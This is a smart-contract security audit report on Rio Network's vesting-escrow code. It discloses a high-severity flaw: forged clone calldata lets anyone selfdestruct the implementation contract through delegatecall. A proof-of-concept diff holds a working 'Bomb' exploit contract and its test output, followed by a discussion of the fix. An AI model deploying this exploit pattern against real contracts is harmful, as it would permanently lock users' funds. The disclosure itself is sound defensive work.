SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for:	Rio Network
Prepared by:	Sherlock
Lead Security Expert:	lllllll
Dates Audited:	January 10 - January 13, 2024
Prepared on:	January 24, 2024

Introduction

The liquid restaking network.

Scope

Repository: rio-org/rio-vesting-escrow

Branch: main

Commit: cd1601bb2862fdaebe3196689176b384f1324c4c

Repository: rio-org/rio-vesting-escrow

Branch: main

Commit: d0a8839e6f4f53e9a188502cd2638ddd36026649

Repository: rio-org/rio-vesting-escrow

Branch: main

Commit: d0a8839e6f4f53e9a188502cd2638ddd36026649

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
0	1

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

0xLogos
fugazzi
lllllll
zzykxx

Issue H-1: Vaults can be bricked by `selfdestruct()`ing implementations, using forged immutable args

Source: https://github.com/sherlock-audit/2024-01-rio-vesting-escrow-judging/issues/60

Found by

0xLogos, lllllll, fugazzi, zzykxx

Summary

The clone-with-immutable-args pattern is unsafe to use when one of the immutable arguments controls an address being delegated to.

Vulnerability Detail

As was seen in the Astaria beacon proxy issue, an attacker is able to forge the calldata that the proxy normally would forward, and can cause the implementation to `selfdestruct()` itself via a `delegatecall()`. The current code has a very similar vulnerability, in that every escrow performs a `delegatecall()` to an address coming from the factory, which is a forgeable immutable argument.

Impact

By creating a fake `IVotingAdaptor`, and providing properly-formatted calldata to the implementation contract being passed to each factory, an attacker can gain control via the `delegatecall()` in order to `selfdestruct()` each of the factories' implementations, preventing each factory's escrows from functioning further, including the withdrawal of tokens by any party.

Code Snippet

The `factory()` function gets its value from an immutable argument:

```
// File: src/VestingEscrow.sol : VestingEscrow.factory()   #1

18        /// @notice The factory that created this VestingEscrow instance.
19        function factory() public pure returns (IVestingEscrowFactory) {
20            return IVestingEscrowFactory(_getArgAddress(0));
21:       }
```

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L18-L21

whose subsequent responses end up being used with `delegatecall()`s:

```
// File: src/VestingEscrow.sol : VestingEscrow.vote()   #2

152         /// @notice Participate in a governance vote using all available
 ↪  tokens on the contract's balance.
153         /// @param params The ABI-encoded data for call. Can be obtained from
 ↪  VotingAdaptor.encodeVoteCalldata.
154         function vote(bytes calldata params) external onlyRecipient
 ↪  whenVotingAdaptorIsSet returns (bytes memory) {
155             return
 ↪  _votingAdaptor().functionDelegateCall(abi.encodeCall(IVotingAdaptor.vote,
 ↪  (params)));
156:        }
```

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L152-L156

```
// File: src/adaptors/OZVotingAdaptor.sol : OZVotingAdaptor.delegate()   #3

55          /// @notice Delegate votes.
56          /// @param params The ABI-encoded delegatee address.
57          function delegate(bytes calldata params) external {
58              IVotes(votingToken).delegate(abi.decode(params, (address)));
59:         }
```

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/adaptors/OZVotingAdaptor.sol#L55-L59

Tool used

Manual Review

Recommendation

Use a state/contract variable for anything requiring being delegated to.

PoC

Because of a foundry bug the test is not able to show the end result of the `selfdestruct()`, so I've added a print statement

```
diff --git a/rio-vesting-escrow/test/VestingEscrow.t.sol
 ↪  b/rio-vesting-escrow/test/VestingEscrow.t.sol
index eafb7dc..55c95a8 100644
```

```
--- a/rio-vesting-escrow/test/VestingEscrow.t.sol
+++ b/rio-vesting-escrow/test/VestingEscrow.t.sol
@@ -6,6 +6,20 @@ import {IVestingEscrow} from
 ↪  'src/interfaces/IVestingEscrow.sol';
 import {OZVotingAdaptor} from 'src/adaptors/OZVotingAdaptor.sol';
 import {ERC20NoReturnToken} from 'test/lib/ERC20NoReturnToken.sol';
 import {ERC20Token} from 'test/lib/ERC20Token.sol';
+import {console} from 'forge-std/Test.sol';
+
+contract Bomb {
+    function attack(address impl) external {
+        (bool success, ) =
 ↪  impl.call(abi.encodePacked(bytes4(keccak256("vote(bytes)")), bytes32(0),
 ↪  address(this), address(this), address(this), uint40(block.timestamp),
 ↪  uint40(block.timestamp + 1), uint40(0), uint40(1), uint16(82)));
+        require(success);
+    }
+    function votingAdaptor() external view returns (address) { return
 ↪  address(this); } function factory() external view returns (address) { return
 ↪  address(this); } function recipient() external view returns (address) {
 ↪  return address(this); }
+    function vote(bytes calldata) external {
+        console.log("bomb is being delegatecall()ed to; calling
 ↪  selfdestruct()");
+        selfdestruct(payable(address(0)));
+    }
+}
+

 contract VestingEscrowTest is TestUtil {
     function setUp() public {
@@ -586,9 +600,11 @@ contract VestingEscrowTest is TestUtil {
         deployedVesting.revokeAll();
     }

-    function testRevokeAll() public {
+    function testRevokeAllBomb() public {
         uint256 ownerBalance = token.balanceOf(factory.owner());

+        new Bomb().attack(address(vestingEscrowImpl));
+
         vm.prank(factory.owner());
         deployedVesting.revokeAll();

diff --git a/rio-vesting-escrow/test/lib/TestUtil.sol
 ↪  b/rio-vesting-escrow/test/lib/TestUtil.sol
index 8667ef4..68c60ec 100644
```

```
--- a/rio-vesting-escrow/test/lib/TestUtil.sol
+++ b/rio-vesting-escrow/test/lib/TestUtil.sol
@@ -39,6 +39,7 @@ contract TestUtil is Test {
     OZVotingToken public token;

     VestingEscrow public deployedVesting;
+    VestingEscrow public vestingEscrowImpl;

     uint256 public amount;
     address public recipient;
@@ -52,8 +53,9 @@ contract TestUtil is Test {
         token = new OZVotingToken();
         governor = new GovernorVotesMock(address(token));
         ozVotingAdaptor = new OZVotingAdaptor(address(governor),
 ↪  address(token), config.owner);
+        vestingEscrowImpl = new VestingEscrow();
         factory = new VestingEscrowFactory(
-            address(new VestingEscrow()), address(token), config.owner,
 ↪  config.manager, address(ozVotingAdaptor)
+            address(vestingEscrowImpl), address(token), config.owner,
 ↪  config.manager, address(ozVotingAdaptor)
         );

         vm.deal(RANDOM_GUY, 100 ether);
```

output:

```
% forge test --match-test testRevokeAllBomb -vvv
[] Compiling...
No files changed, compilation skipped

Running 1 test for test/VestingEscrow.t.sol:VestingEscrowTest
[PASS] testRevokeAllBomb() (gas: 342335)
Logs:
  bomb is being delegatecall()ed to; calling selfdestruct()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.79ms
```

Discussion

solimander

Acknowledged

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

pratraut commented:

> 'invalid due to owner who is deploying escrow contract is TRUSTED entity'

solimander

I believe this is valid. Forging of calldata variables will allow anyone to bypass protections and `selfdestruct` the implementation contract.

solimander

Not sure if I'm jumping the gun here, but fixed in https://github.com/rio-org/rio-vesting-escrow/pull/6

0xMR0

@solimander @nevillehuang

Isn't this issue ONLY applicable to beacon proxy or ERC1967 proxy contracts?

The contracts are using clones(ERC-1167: Minimal Proxy Contract) and per openzeppelin,

> onlyProxy() Check that the execution is being performed through a delegatecall call and that the execution context is a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to fail.

code reference take from here

```
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable
address private immutable __self = address(this);



/**
 * @dev Check that the execution is being performed through a delegatecall call
↪  and that the execution context is
 * a proxy contract with an implementation (as defined in ERC-1967) pointing to
↪  self. This should only be the case
 * for UUPS and transparent proxies that are using the current contract as their
↪  implementation. Execution of a
 * function through ERC-1167 minimal proxies (clones) would not normally pass
↪  this test, but is not guaranteed to
 * fail.
```

```
 */
modifier onlyProxy() {
    _checkProxy();
    _;
}


/**
 * @dev Reverts if the execution is not performed via delegatecall or the
 ↪  execution
 * context is not of a proxy with an ERC-1967 compliant implementation pointing
 ↪  to self.
 * See {_onlyProxy}.
 */
function _checkProxy() internal view virtual {
    if (
        address(this) == __self || // Must be called through delegatecall
        ERC1967Utils.getImplementation() != __self // Must be called through an
 ↪  active proxy
    ) {
        revert UUPSUnauthorizedCallContext();
    }
}
```

similar modifier has been used by project team here as seen in pull request.

Can you please check the issue is really with minimal proxies? if its possible, Not sure why the user i.e recipient will do this to stuck his own tokens since the functions are onlyRecipient protected? If it can be done by malicious owner then owner is trusted here? Or am i missing something or the context of above openzeppelin reference is misunderstood?

Thanks and appreciate the response.

detectiveking123

I believe this is a valid issue as well. It is a good catch.

solimander

> Can you please check the issue is really with minimal proxies? if its possible, Not sure why the user i.e recipient will do this to stuck his own tokens since the functions are onlyRecipient protected? If it can be done by malicious owner then owner is trusted here? Or am i missing something or the context of above openzeppelin reference is misunderstood?

You're misunderstanding somewhat. The problem is related to the fact that the

"immutable" variables are actually calldata, and can therefore be forged when when calling the implementation contract directly. First, the attacker needs to bypass `onlyRecipient`, which they can do by setting the recipient (`_getArgAddress(40)`) to their address in the calldata. Then they call one of the three functions that delegate-calls `_votingAdaptor` (`delegate`, `vote`, or `voteWithReason`). `_votingAdaptor` can be faked via a forged `factory`. The fake `_votingAdaptor` then calls self-destruct and there goes the implementation contract. All escrows are bricked.

lllllll000

The PR properly mitigates the issue by creating and using a new `onlyDelegateCall` modifier (similar to OZ's version) on the external `vote()` and `voteWithReason()` functions, as well as on the internal `_delegate()` function, which are the only functions making `delegatecall()`s from implementations, on results controlled by a `_getArgAddress()` internal function call. The new modifier is added to a new mixin which adds a new `immutable address` contract variable and sets it to the contract's own address during construction. The mixin is added to the vulnerable `VestingEscrow` contract's inheritance chain, and properly rejects any call coming from the contract by checking `address(this)` against the stored address, which correctly won't match for `delegatecall`s. The PR also adds the `delegate()`, `vote()`, and `voteWithReason()` functions from `VestingEscrow.sol` to `IVestingEscrow.sol`, and adds passing negative tests for the attack on each of those functions on the factory's implementation. There is no test for an attack on `initialize()`. The PR also updates the gas snapshot numbers. The clone itself (proxy) is not vulnerable, because it forwards all requests via `delegatecall()`, rather than relying on any of the implementation's code.

solimander

Thanks @lllllll000! I've added a test for an attack on initialize: https://github.com/rio-org/rio-vesting-escrow/pull/6/commits/a6544b174aff9b2ff766f7aece03b052ec2b7466

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.